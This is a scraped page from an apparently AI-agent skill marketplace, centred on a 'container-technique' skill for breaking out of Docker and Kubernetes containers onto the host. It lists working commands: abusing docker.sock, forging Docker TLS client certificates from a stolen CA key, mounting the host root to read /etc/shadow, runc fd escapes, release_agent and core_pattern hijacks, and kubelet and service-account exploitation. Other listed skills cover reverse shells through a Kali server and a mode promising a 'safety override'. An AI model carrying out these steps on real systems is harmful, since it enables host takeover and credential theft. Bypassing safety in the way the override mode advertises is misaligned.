一键导入
container-technique
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Drive the MCPwn Kali-backed MCP server cleanly and fast: create a session, discover tools via the catalog (list_catalog/get_tools/get_tool/run_tool) instead of guessing names, pick the right execution path (execute_command vs detach+poll_job vs interactive shell), move files with the correct mechanism (write_workspace_file, request_upload/request_download data plane, import_artifact_to_workspace, upload_to_target, list_payloads/get_payload), and bring up connectivity (tunnel_up VPN/proxy/forward, tunnel_revshell, penelope reverse shells, run_in_shell/stabilize_shell). Use whenever running MCPwn / mcpwn_* tools, a Kali MCP, or when a run stalls on timeouts, lost output, missing routes, wrong tool names, or clumsy file transfer.
Keep the context window lean when reading large data. Use before opening big files, logs, dumps, PCAPs, decompiler output, research corpora, or a folder of worker artifacts. Enforces grep-first + windowed reads, extract-don't-hoard, and context quarantine (delegate a huge read to a sub-agent that returns a digest).
Auth assessment: web impact-validation; SQLi, SSTI, XXE, command injection, SSRF, XSS, uploads, deserialization, smuggling, WAF/parser checks.
Mode: /1337 - structured operator behaviour for coding and security; forces explicit reasoning, fast decisions, todos/lists, exact terms, evidence, verification, safety override.
Lab/CTF: pwn/binary challenges; native binaries, memory corruption, format strings, heap/ROP/SROP, shellcode artifacts, seccomp, kernel labs.
Auth/lab: reverse engineering methodology; malware triage, patch diffing, firmware/protocol RE, protections, exploitability handoff evidence.
| name | container-technique |
| description | Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node. |
Goal: Exploit container environments (Docker, Kubernetes, LXC) to achieve host-level code execution, horizontal pod movement, or cluster takeover.
.dockerenv, kubepods in cgroups, or specific mount patterns.Determine the isolation boundaries.
ls -la /.dockerenv ; cat /proc/1/cgroupcapsh --print (look for CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE).kube-dns or metadata endpoints (e.g. 169.254.169.254 or GCP/Azure equivalents).ls -la /var/run/docker.sock. If writable (or you are in the docker group), attach the host root filesystem to a new container — with the CLI or the REST API via curl --unix-socket when no docker binary is present. Full flows + host bind-mount abuse: references/socket-and-mounts.md.--privileged): capsh --print shows a single dangerous cap (CAP_SYS_MODULE, CAP_DAC_READ_SEARCH, CAP_SYS_PTRACE, CAP_MKNOD…). Each has its own escape — see references/capability-escapes.md.ss -tlnp | grep -E '2375|2376' or read dockerd -H args in ps. Plain 2375 = instant docker -H tcp://host:2375 run -v /:/mnt .... TLS 2376 needs a client cert signed by the daemon CA — hunt the CA key (ca.pem+ca-key.pem, often in /etc/docker/certs, an NFS/world-readable share, or a config repo) and forge one:
openssl genrsa -out c-key.pem 4096; openssl req -new -key c-key.pem -subj /CN=root -out c.csr
printf 'extendedKeyUsage=clientAuth\n' > e.cnf
openssl x509 -req -in c.csr -CA ca.pem -CAkey ca-key.pem -out c.pem -days 365 -extfile e.cnf
docker --tlsverify --tlscacert=ca.pem --tlscert=c.pem --tlskey=c-key.pem -H host:2376 run --rm -v /:/mnt <img> cat /mnt/etc/shadow
If an authorization plugin (--authorization-plugin=authz-broker) denies actions, it keys policy on the client-cert CN — read the policy (/var/lib/authz-broker/policy.json) and set -subj /CN=<allowed-user> (a {"users":["root"],"actions":[""]} entry = full access). Then run -v /:/mnt to read host secrets / a machine keytab / drop an authorized_key.docker run -w /proc/self/fd/8 <img> — the working directory is set before namespace unshare, giving host FS access. Confirm host runc version via strings $(command -v runc) | grep -m1 'runc version' if reachable, otherwise attempt directly.fdisk -l lists host drives or capsh shows CAP_SYS_ADMIN, mount the host filesystem (e.g., mount /dev/sda1 /mnt) or load a malicious kernel module.CAP_SYS_ADMIN is present on cgroups v1, leverage the release_agent feature to spawn host processes./proc/sys/kernel/core_pattern (pipe format) or /proc/sys/kernel/modprobe to make the kernel run an attacker script as root on the host. Works on cgroups v1 and v2. Trigger via SIGSEGV crash or unknown-magic binary execution. Use overlay upperdir from /proc/self/mountinfo for host-accessible read/write path.$(id -u) to decide whether to drop privileges via gosu/su-exec, and /bin/sh is bash, inject BASH_FUNC_id%%=() { echo uid=1000; } as an environment variable. Bash imports it as a function overriding /usr/bin/id, so the check sees non-root and skips the privilege drop. Container stays as real uid 0./var/run/secrets/kubernetes.io/serviceaccount/.curl -skH "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/default/pods/10250 (kubelet), 10255 (kubelet readonly, disabled by default since 1.21 but still common on legacy/GKE), or 2379 (etcd) are exposed internally without authentication. On 10250 the endpoint POST /run/<ns>/<pod>/<container> yields RCE inside any pod.nodes/proxy GET (frequently granted to monitoring/observability tooling) can proxy the kubelet API and exec into arbitrary pods cluster-wide, including control-plane. Test with kubectl auth can-i get nodes/proxy before deeper enum.cat /etc/shadow from the host mount) rather than deploying destructive backdoors.--privileged or CAP_SYS_ADMIN (mount host disk, cgroups release_agent, core_pattern/modprobe_path).CAP_SYS_MODULE, CAP_DAC_READ_SEARCH/CAP_DAC_OVERRIDE (shocker), CAP_SYS_PTRACE (+--pid=host), CAP_MKNOD.curl REST API), the user is in the docker group, or sensitive host paths are bind-mounted (-v /:/host, /etc, /root).